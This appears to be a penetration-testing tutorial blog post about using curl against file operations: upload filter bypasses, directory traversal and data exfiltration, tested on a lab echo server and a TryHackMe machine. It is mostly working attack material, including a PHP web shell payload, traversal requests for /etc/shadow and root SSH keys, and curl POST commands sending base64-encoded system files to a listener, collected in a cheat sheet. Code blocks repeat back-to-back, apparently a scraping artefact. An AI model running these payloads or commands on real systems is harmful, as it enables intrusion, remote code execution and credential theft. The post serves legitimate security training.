September 28, 2026
Upload, Traverse, Exfil: File Operations as an Attack Surface
Three directions of attack. One tool. No frameworks required.

By Roshan Rajbanshi
9 min read
Series:_ curl โ The Request Engine You Never Learned Properly Article: 10 of 16_
File operations are one of the most productive attack surfaces in web application testing. Upload endpoints offer paths to remote code execution. Download endpoints offer paths to directory traversal. Data exfiltration over HTTP is a post-exploitation technique that curl handles natively.
This article covers all three directions: pushing files to the target, pulling files from the target, and extracting data out through HTTP.
Multipart File Upload Anatomy
Before attacking file upload endpoints, understand exactly what a multipart request looks like. Run a verbose upload and read every line:
curl -v -F "file=@test.txt" http://127.0.0.1:8080 2>&1 | head -50
* Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 206
> Content-Type: multipart/form-data; boundary=------------------------6a303214c6020ffb
>
} [206 bytes data]
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Content-Length: 731
<
==================================================
curl Lab Echo Server
==================================================
METHOD : POST
PATH : /
--- REQUEST HEADERS ---
Content-Type: multipart/form-data; boundary=------------------------6a303214c6020ffb
--- RAW BODY ---
--------------------------6a303214c6020ffb
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
test upload contentcurl -v -F "file=@test.txt" http://127.0.0.1:8080 2>&1 | head -50
* Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 206
> Content-Type: multipart/form-data; boundary=------------------------6a303214c6020ffb
>
} [206 bytes data]
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Content-Length: 731
<
==================================================
curl Lab Echo Server
==================================================
METHOD : POST
PATH : /
--- REQUEST HEADERS ---
Content-Type: multipart/form-data; boundary=------------------------6a303214c6020ffb
--- RAW BODY ---
--------------------------6a303214c6020ffb
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
test upload content
Every component of the multipart request is visible here. Read it carefully โ this structure explains why the bypass techniques below work.
The boundary โ A unique string curl that generates automatically- separates parts. Each part opens with --boundary , and the final boundary closes with --. The boundary value appears in both the outer Content-Type header and the body โ they must match.
Content-Disposition โ Carries the field name and filename. The name attribute matches the HTML form's input name. The filename attribute is what the server sees as the uploaded filename โ and it is entirely user-controlled.
Part-level Content-Type โ The content type of this specific part. curl sets this based on file extension by default. You can override it per part without touching the outer headers.
You are not exploiting curl โ you are using curl to manipulate specific fields in a request structure the server trusts implicitly.
Basic File Upload
curl -F "file=@shell.php" http://127.0.0.1:8080
==================================================
curl Lab Echo Server
==================================================
METHOD : POST
PATH : /
--- REQUEST HEADERS ---
Content-Type: multipart/form-data; boundary=------------------------df530a5866ae5f71
--- RAW BODY ---
--------------------------df530a5866ae5f71
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET["cmd"]); ?>
--------------------------df530a5866ae5f71--curl -F "file=@shell.php" http://127.0.0.1:8080
==================================================
curl Lab Echo Server
==================================================
METHOD : POST
PATH : /
--- REQUEST HEADERS ---
Content-Type: multipart/form-data; boundary=------------------------df530a5866ae5f71
--- RAW BODY ---
--------------------------df530a5866ae5f71
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET["cmd"]); ?>
--------------------------df530a5866ae5f71--The field name (file) must match the HTML form's input name. To find it, view the page source or intercept a legitimate upload in Burp. Common field names: file, upload, image, attachment, document.
Including additional form fields:
Most upload forms include fields alongside the file. Each -F flag adds a part to the multipart body:
curl -F "file=@test.txt" \
-F "title=My Photo" \
-F "description=Profile picture" \
http://127.0.0.1:8080
--- RAW BODY ---
--------------------------60151cec102c4751
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
test upload content
--------------------------60151cec102c4751
Content-Disposition: form-data; name="title"
My Photo
--------------------------60151cec102c4751
Content-Disposition: form-data; name="description"
Profile picture
--------------------------60151cec102c4751--curl -F "file=@test.txt" \
-F "title=My Photo" \
-F "description=Profile picture" \
http://127.0.0.1:8080
--- RAW BODY ---
--------------------------60151cec102c4751
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
test upload content
--------------------------60151cec102c4751
Content-Disposition: form-data; name="title"
My Photo
--------------------------60151cec102c4751
Content-Disposition: form-data; name="description"
Profile picture
--------------------------60151cec102c4751--Three parts, one boundary, one request โ the same structure a browser sends.
Filename Bypass Tricks
The filename value in Content-Disposition is user-controlled. When the server uses this value to determine how to handle the file, it becomes your primary bypass target.
Case manipulation:
curl -F "file=@shell.PHP" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.PHP"
Content-Type: application/octet-streamcurl -F "file=@shell.PHP" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.PHP"
Content-Type: application/octet-streamFilters using case-sensitive string matching miss shell.PHP when blocking shell.php. Many PHP installations execute .PHP identically to .php.
Alternative PHP extensions:
Many PHP installations execute .phtml, .phar, .php3, .php4, .php5, .php7 as PHP. If .php is blocked:
curl -F "file=@shell.phtml" http://127.0.0.1:8080
curl -F "file=@shell.phar" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: application/octet-stream
<?php system($_GET["cmd"]); ?>curl -F "file=@shell.phtml" http://127.0.0.1:8080
curl -F "file=@shell.phar" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: application/octet-stream
<?php system($_GET["cmd"]); ?>The echo server shows exactly what the upload server would receive โ the PHP payload is intact, only the filename changed.
Double extension:
curl -F "file=@shell.php.jpg" http://target/uploadcurl -F "file=@shell.php.jpg" http://target/uploadSome servers check only the last extension. Others check the first. A file named shell.php.jpg may pass a filter looking for .jpg while still executing as PHP, if the server treats any .php Component as executable.
Null byte injection (legacy PHP only):
curl -F "file=@shell.php%00.jpg" http://target/uploadcurl -F "file=@shell.php%00.jpg" http://target/uploadIn older PHP versions, a null byte terminated the filename string โ shell.php%00.jpg was processed as shell.php. Modern PHP (5.3.4+) ignores the null byte entirely. Try this on older targets only; most current THM and HTB machines are not vulnerable.
Content-Type Spoofing in Multipart Requests
When a server validates uploads by checking the Content-Type of the uploaded part rather than โ or in addition to โ the filename extension, override it with the ;type= suffix:
curl -F "file=@shell.php;type=image/jpeg" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET["cmd"]); ?>
curl -F "file=@shell.php;type=image/png" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET["cmd"]); ?>curl -F "file=@shell.php;type=image/jpeg" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET["cmd"]); ?>
curl -F "file=@shell.php;type=image/png" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET["cmd"]); ?>The ;type=image/jpeg suffix overrides the Content-Type of that specific part only. The file content is still PHP. The server receives Content-Type: image/jpeg for that part. If validation is based solely on this header, the upload passes.
Combined attack โ filename and Content-Type together:
curl -F "file=@shell.php;filename=shell.jpg;type=image/jpeg" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php system($_GET["cmd"]); ?>curl -F "file=@shell.php;filename=shell.jpg;type=image/jpeg" http://127.0.0.1:8080
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php system($_GET["cmd"]); ?>This sets both the filename the server sees and the part Content-Type in a single flag. Filters check either field to see what they expect. The payload is unchanged.
This is what automated upload tools abstract away. Understanding how to construct it in raw curl means you can apply it in any environment, on any target, without additional tooling.
Real Target: Vulnversity Upload Filter Bypass
Theory confirmed against a real filter on TryHackMe Vulnversity.
Normal file โ blocked:
curl -F "file=@test.txt" http://10.49.141.182:3333/internal/index.php
Extension not allowedcurl -F "file=@test.txt" http://10.49.141.182:3333/internal/index.php
Extension not allowedEven .txt is rejected โ this is an allowlist, not a blocklist.
PHP โ blocked:
curl -F "file=@shell.php" http://10.49.141.182:3333/internal/index.php
Extension not allowedcurl -F "file=@shell.php" http://10.49.141.182:3333/internal/index.php
Extension not allowedContent-Type spoof โ still blocked:
curl -F "file=@shell.php;type=image/jpeg" http://10.49.141.182:3333/internal/index.php
Extension not allowedcurl -F "file=@shell.php;type=image/jpeg" http://10.49.141.182:3333/internal/index.php
Extension not allowedCombined filename and Content-Type โ still blocked:
curl -F "file=@shell.php;filename=shell.jpg;type=image/jpeg" http://10.49.141.182:3333/internal/index.php
Extension not allowedcurl -F "file=@shell.php;filename=shell.jpg;type=image/jpeg" http://10.49.141.182:3333/internal/index.php
Extension not allowedThis server checks the filename extension only โ Content-Type spoofing has no effect. The filter reads the filename, not the part header.
Alternative extension โ bypassed:
curl -F "file=@shell.phtml" http://10.49.141.182:3333/internal/index.php
Successcurl -F "file=@shell.phtml" http://10.49.141.182:3333/internal/index.php
Success
.phtml is not on the blocklist โ the PHP payload uploads and will execute when accessed. One flag change. One bypass.
What this tells you about the filter:
The server runs a blocklist on filename extension. .php is blocked; .phtml is not. Content-Type is not validated โ spoofing it does nothing. Testing each bypass in isolation tells you exactly what the filter checks, not just whether a particular payload gets through.
Controlled Downloads
Configuration files, backup archives, source code, and database dumps sometimes end up in web-accessible locations. curl pulls them natively.
-o โ Save to a named file:
curl -o config.php http://target/config.php
curl -o backup.sql http://target/backup.sqlcurl -o config.php http://target/config.php
curl -o backup.sql http://target/backup.sqlUse -o When you want to control the local filename. The remote content saves as-is.
-O โ Preserve the remote filename:
curl -O http://target/files/database_backup_2024.sqlcurl -O http://target/files/database_backup_2024.sqlConvenient when the remote filename is meaningful, and you want to keep it.
Resuming broken transfers with -C -:
curl -C - -O http://127.0.0.1:8080/large-file.zip -v
* Resuming transfer from byte position 102400
> GET /large-file.zip HTTP/1.1
> Host: 127.0.0.1:8080
> Range: bytes=102400-
> User-Agent: curl/7.68.0curl -C - -O http://127.0.0.1:8080/large-file.zip -v
* Resuming transfer from byte position 102400
> GET /large-file.zip HTTP/1.1
> Host: 127.0.0.1:8080
> Range: bytes=102400-
> User-Agent: curl/7.68.0
-C - Tells curl to detect the local file size and request only the remaining bytes via a Range header. Useful when downloading large files through slow pivot connections that drop regularly. If the server does not support byte ranges, curl reports it and stops cleanly rather than corrupting the file.
Directory Traversal via Download Parameters
When a download endpoint accepts a filename or path parameter, test for directory traversal. The goal is to escape the intended directory and read arbitrary files.
# Normal request โ baseline
curl "http://target/download?file=report.pdf"
# Basic traversal
curl "http://target/download?file=../../../etc/passwd"
# URL-encoded traversal โ bypasses filters blocking the literal string ../
curl "http://target/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double-dot double-slash โ works against some single-pass sanitization logic
curl "http://target/download?file=....//....//....//etc/passwd"# Normal request โ baseline
curl "http://target/download?file=report.pdf"
# Basic traversal
curl "http://target/download?file=../../../etc/passwd"
# URL-encoded traversal โ bypasses filters blocking the literal string ../
curl "http://target/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double-dot double-slash โ works against some single-pass sanitization logic
curl "http://target/download?file=....//....//....//etc/passwd"A 200 response returning /etc/passwd content confirms traversal. Escalate to higher-value targets:
# Linux โ credential and key files
curl "http://target/download?file=../../../../etc/shadow"
curl "http://target/download?file=../../../../root/.ssh/id_rsa"
curl "http://target/download?file=../../../../var/www/html/config.php"
# Windows โ configuration files
curl "http://target/download?file=../../../../windows/system32/drivers/etc/hosts"
curl "http://target/download?file=../../../../windows/win.ini"# Linux โ credential and key files
curl "http://target/download?file=../../../../etc/shadow"
curl "http://target/download?file=../../../../root/.ssh/id_rsa"
curl "http://target/download?file=../../../../var/www/html/config.php"
# Windows โ configuration files
curl "http://target/download?file=../../../../windows/system32/drivers/etc/hosts"
curl "http://target/download?file=../../../../windows/win.ini"Document the traversal depth (number of ../ sequences needed to reach root) and every file you can read. Both go into your findings.
FTP with curl
FTP is a forgotten attack surface at the eJPT level. It appears regularly in THM rooms and HTB machines, and curl handles it natively โ no separate FTP client needed.
Listing directories:
curl ftp://10.49.178.175/ -u anonymous: --ftp-port -
drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 pubcurl ftp://10.49.178.175/ -u anonymous: --ftp-port -
drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 pub
Listing a subdirectory:
curl ftp://10.49.178.175/pub/ -u anonymous: --ftp-port -
-rw-r--r-- 1 ftp ftp 166 Aug 17 2019 ForMitch.txtcurl ftp://10.49.178.175/pub/ -u anonymous: --ftp-port -
-rw-r--r-- 1 ftp ftp 166 Aug 17 2019 ForMitch.txtDownloading a file:
curl ftp://10.49.178.175/pub/ForMitch.txt -u anonymous: --ftp-port - -o ForMitch.txt
cat ForMitch.txt
Dammit man... you're the worst dev i've seen. You set the same pass for the system user,
and the password is so weak... i cracked it in seconds. Gosh... what a mess!curl ftp://10.49.178.175/pub/ForMitch.txt -u anonymous: --ftp-port - -o ForMitch.txt
cat ForMitch.txt
Dammit man... you're the worst dev i've seen. You set the same pass for the system user,
and the password is so weak... i cracked it in seconds. Gosh... what a mess!
Anonymous FTP access to a file disclosing that system credentials match the FTP password. Initial access path confirmed from a single curl command.
A note on FTP modes: curl defaults to passive mode (EPSV/PASV), where the server opens a data port, and curl connects to it. In some network configurations โ particularly VPN tunnels in lab environments โ the server's data port is unreachable from the client, causing the listing to hang indefinitely despite a successful control connection. --ftp-port - Switches to active mode: curl opens a local ephemeral port and instructs the server to connect back for the data transfer. Note that active mode requires your firewall to allow incoming connections on that ephemeral port. If both modes fail, port forwarding or a different pivot path is needed.
Anonymous login variants to try:
curl ftp://target/ -u anonymous:anonymous --ftp-port -
curl ftp://target/ -u anonymous: --ftp-port -curl ftp://target/ -u anonymous:anonymous --ftp-port -
curl ftp://target/ -u anonymous: --ftp-port -Uploading via FTP:
curl -T shell.php ftp://target/uploads/ -u admin:password --ftp-port -curl -T shell.php ftp://target/uploads/ -u admin:password --ftp-port --T is curl's upload flag for non-HTTP protocols. If write permissions exist on the FTP server, this plants a file directly. The trailing / on the destination path tells curl to upload into the directory rather than replace the directory entry.
POST Body Data Exfiltration
In a post-exploitation scenario where you have code execution and need to extract data, curl sends it out via HTTP POST to a listener you control.
Listener setup:
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['Content-Length'])
data = self.rfile.read(length).decode()
print(data)
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
"python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['Content-Length'])
data = self.rfile.read(length).decode()
print(data)
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
"Single file exfil:
curl -s -X POST \
-d "data=$(cat /etc/passwd | base64)" \
http://127.0.0.1:9999/collectcurl -s -X POST \
-d "data=$(cat /etc/passwd | base64)" \
http://127.0.0.1:9999/collectThe listener receives and prints the base64-encoded /etc/passwd. Decode on your machine with base64 -d. Base64 handles binary data and special characters that would break URL encoding.
Multi-file loop:
for file in /etc/passwd /etc/hosts; do
curl -s -X POST \
-d "filename=$(basename $file)&data=$(cat $file 2>/dev/null | base64)" \
http://127.0.0.1:9999/collect
donefor file in /etc/passwd /etc/hosts; do
curl -s -X POST \
-d "filename=$(basename $file)&data=$(cat $file 2>/dev/null | base64)" \
http://127.0.0.1:9999/collect
doneThe listener receives one POST per file, with each POST tagged by filename:
filename=passwd&data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDox...
filename=hosts&data=MTI3LjAuMC4xIGxvY2FsaG9zdAoxMjcuMC4xLjEgY3RmLWxhYgoK...filename=passwd&data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDox...
filename=hosts&data=MTI3LjAuMC4xIGxvY2FsaG9zdAoxMjcuMC4xLjEgY3RmLWxhYgoK...2>/dev/null Silences permission errors on files you cannot read โ the loop continues to the next file without stopping.
Timed engagement collection:
mkdir -p loot/$(date +%Y%m%d)
for path in /etc/passwd /etc/crontab /home/*/.ssh/id_rsa /var/www/html/config*; do
filename=$(echo $path | tr '/' '_')
curl -s "http://target/download?file=$path" \
-o "loot/$(date +%Y%m%d)/$filename" 2>/dev/null
donemkdir -p loot/$(date +%Y%m%d)
for path in /etc/passwd /etc/crontab /home/*/.ssh/id_rsa /var/www/html/config*; do
filename=$(echo $path | tr '/' '_')
curl -s "http://target/download?file=$path" \
-o "loot/$(date +%Y%m%d)/$filename" 2>/dev/null
doneIn time-boxed assessments, collection speed matters. This loop hits high-value paths in sequence, saves each to a timestamped directory, and silences errors on paths that do not exist.
File operations give you three attack directions: in (upload for execution), across (traversal for reading), and out (exfil for collection). Each uses curl natively. No upload tool, no traversal framework, no exfil agent โ just flags.
Quick Reference
MULTIPART UPLOAD
curl -F "file=@shell.php" http://target/upload # basic upload
curl -F "file=@shell.php" -F "field=value" http://target/upload # with extra fields
FILENAME BYPASSES
curl -F "file=@shell.PHP" http://target/upload # case manipulation
curl -F "file=@shell.phtml" http://target/upload # alt extension
curl -F "file=@shell.phar" http://target/upload # alt extension
curl -F "file=@shell.php.jpg" http://target/upload # double extension
CONTENT-TYPE SPOOFING
curl -F "file=@shell.php;type=image/jpeg" http://target/upload
curl -F "file=@shell.php;filename=shell.jpg;type=image/jpeg" http://target/upload
DOWNLOADS
curl -o local.php http://target/remote.php # named output
curl -O http://target/file.zip # preserve filename
curl -C - -O http://target/large.zip # resume transfer
DIRECTORY TRAVERSAL
curl "http://target/download?file=../../../etc/passwd"
curl "http://target/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
curl "http://target/download?file=....//....//....//etc/passwd"
FTP
curl ftp://target/ -u anonymous: --ftp-port - # list root
curl ftp://target/pub/ -u anonymous: --ftp-port - # list subdir
curl ftp://target/file.txt -u anonymous: --ftp-port - -o file.txt # download
curl -T shell.php ftp://target/uploads/ -u user:pass --ftp-port - # upload
EXFILTRATION
curl -s -X POST -d "data=$(cat /etc/passwd | base64)" http://listener/collect
for file in /etc/passwd /etc/hosts; do
curl -s -X POST \
-d "filename=$(basename $file)&data=$(cat $file 2>/dev/null | base64)" \
http://listener/collect
doneMULTIPART UPLOAD
curl -F "file=@shell.php" http://target/upload # basic upload
curl -F "file=@shell.php" -F "field=value" http://target/upload # with extra fields
FILENAME BYPASSES
curl -F "file=@shell.PHP" http://target/upload # case manipulation
curl -F "file=@shell.phtml" http://target/upload # alt extension
curl -F "file=@shell.phar" http://target/upload # alt extension
curl -F "file=@shell.php.jpg" http://target/upload # double extension
CONTENT-TYPE SPOOFING
curl -F "file=@shell.php;type=image/jpeg" http://target/upload
curl -F "file=@shell.php;filename=shell.jpg;type=image/jpeg" http://target/upload
DOWNLOADS
curl -o local.php http://target/remote.php # named output
curl -O http://target/file.zip # preserve filename
curl -C - -O http://target/large.zip # resume transfer
DIRECTORY TRAVERSAL
curl "http://target/download?file=../../../etc/passwd"
curl "http://target/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
curl "http://target/download?file=....//....//....//etc/passwd"
FTP
curl ftp://target/ -u anonymous: --ftp-port - # list root
curl ftp://target/pub/ -u anonymous: --ftp-port - # list subdir
curl ftp://target/file.txt -u anonymous: --ftp-port - -o file.txt # download
curl -T shell.php ftp://target/uploads/ -u user:pass --ftp-port - # upload
EXFILTRATION
curl -s -X POST -d "data=$(cat /etc/passwd | base64)" http://listener/collect
for file in /etc/passwd /etc/hosts; do
curl -s -X POST \
-d "filename=$(basename $file)&data=$(cat $file 2>/dev/null | base64)" \
http://listener/collect
doneNext: Article 11 โ WAF Evasion: Building Stealth Profiles That Work